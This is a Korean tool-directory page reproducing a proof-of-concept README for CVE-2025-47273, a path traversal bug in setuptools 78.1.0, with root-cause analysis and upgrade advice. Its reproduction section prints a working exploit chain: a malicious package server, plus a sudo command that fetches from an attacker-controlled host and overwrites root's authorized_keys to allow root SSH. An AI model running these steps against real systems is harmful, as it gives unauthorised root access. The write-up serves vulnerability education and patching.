Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-47273-PoC — CVE-2025-47273은 setuptools 라이브러리 ,특히 버전 78.1.0 .에서 높은 심각도의 경로 탐색 취약점입니다. | Kitploit
도구/GitHubGitHub/ahmedreda38/cve-2025-47273-poc
Privilege EscalationVulnerability AnalysisCode AnalysisExploitationSupply Chain SecurityLearning & Education
GitHubahmedreda38/cve-2025-47273-poc

CVE-2025-47273-PoC

CVE-2025-47273은 setuptools 라이브러리 ,특히 버전 78.1.0 .에서 높은 심각도의 경로 탐색 취약점입니다.

저장소 보기
15개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-47273: setuptools 버전 78.1.0 - setuptools.package_index의 경로 탐색 취약점

면책 조항

이 개념 증명(PoC)은 교육 목적과 공인된 보안 감사만을 위해 작성되었습니다. 작성자는 이 정보의 오용에 대해 책임을 지지 않습니다. 컴퓨터 시스템에 대한 무단 접근은 불법이며 비윤리적입니다.


취약점 분석

CVE-2025-47273은 setuptools 라이브러리(v78.1.0 및 이전 버전)의 package_index 모듈에서 발견된 경로 탐색 취약점입니다. 이 취약점으로 인해 공격자는 특수하게 조작된 URL을 PackageIndex.download() 메서드에 제공하여 임의의 파일 쓰기를 수행할 수 있습니다.

근본 원인: os.path.join() 동작

이 결함은 Python의 os.path.join() 함수의 일반적인 함정에서 비롯됩니다. Python 문서에 따르면:

구성 요소가 절대 경로인 경우 이전의 모든 구성 요소는 버려지고 절대 경로 구성 요소부터 결합이 계속됩니다.

취약한 버전의 setuptools에서는 URL에서 이름을 추출하고 임시 디렉터리와 결합하여 대상 파일 이름을 결정합니다.

root@kitploit:~
# setuptools/package_index.py
filename = os.path.join(tmpdir, name)

공격자가 제공한 URL에서 파일 이름 부분(URL 디코딩 후)이 슬래시 /로 시작하면 os.path.join은 tmpdir 접두사를 버리고 URL에 제공된 절대 경로를 반환합니다.

취약점 흐름 다이어그램

root@kitploit:~
[ Attacker-Controlled URL ]
http://attacker.local/%2fetc%2fpasswd
          |
          | 1. URL Decoding
          v
[ Decoded Filename (name) ]
"/etc/passwd"
          |
          | 2. Vulnerable Function Call
          v
os.path.join("/tmp/download_dir", "/etc/passwd")
          |
          | 3. Python os.path.join Logic
          v
[ Resulting Path (filename) ]
"/etc/passwd"  <-- /tmp/download_dir is discarded!

기술적 영향

대상 경로를 절대 경로로 조작할 수 있으므로 공격자는 프로세스에 쓰기 권한이 있는 파일 시스템의 모든 위치에 임의의 콘텐츠를 쓸 수 있습니다.

영향이 큰 시나리오:

  1. 권한 상승: setuptools를 사용하는 프로세스가 상승된 권한(예: 시스템 전체 설치 프로그램)으로 실행되는 경우 공격자는 /etc/passwd, /root/.ssh/authorized_keys, /etc/shadow 등 중요한 시스템 파일을 덮어쓸 수 있습니다. 기타 여러 가능성이 있습니다...
  2. 지속성 / 원격 코드 실행(RCE): ~/.bashrc, ~/.ssh/authorized_keys와 같은 사용자 수준 구성 파일을 덮어쓰거나 기존 Python 라이브러리에 코드를 주입하면 지속적인 원격 코드 실행으로 이어질 수 있습니다.

재현 (/root/.ssh/authorized_keys 덮어쓰기)

환경 설정

이 취약점은 setuptools 버전 78.1.0에 존재합니다.

root@kitploit:~
pip install setuptools==78.1.0

1. poc 디렉터리에서 SSH 키 쌍 생성

root@kitploit:~
ssh-keygen -t rsa -b 4096 -f id_rsa -N ""

1. 악의적인 서버 시작 (공격자 머신)

server.py 스크립트는 악성 패키지 인덱스 역할을 합니다. 요청된 경로와 관계없이 페이로드 파일을 제공하며, 제공되는 파일은 id_rsa.pub입니다.

root@kitploit:~
python3 server.py 80

2. 익스플로잇 실행 (대상 머신)

이 명령어를 사용하여 파일 쓰기를 트리거한 다음 미리 생성한 SSH 키 쌍으로 루트에 SSH로 접속할 수 있습니다.

root@kitploit:~
sudo python3 -c 'from setuptools.package_index import PackageIndex;PackageIndex().download("http://<ATTACKER_IP>:80/%2froot%2f.ssh%2fauthorized_keys", "/tmp")'

3. 마지막으로 1단계에서 생성한 개인 키로 대상 머신에 root로 SSH 접속

root@kitploit:~
ssh -i id_rsa root@<target-ip>

완화 조치

이 취약점은 setuptools 버전 78.1.1에서 해결되었습니다. 수정 사항은 URL에서 파생된 name 변수를 엄격히 검사하여 os.path.join()에 전달되기 전에 선행 슬래시나 드라이브 문자가 포함되지 않도록 하는 것입니다.

환경을 보호하려면:

root@kitploit:~
pip install --upgrade setuptools

참고 자료

  • setuptools Issue #4946
  • NVD - CVE-2025-47273
  • Huntr Bounty Report
도구 다운로드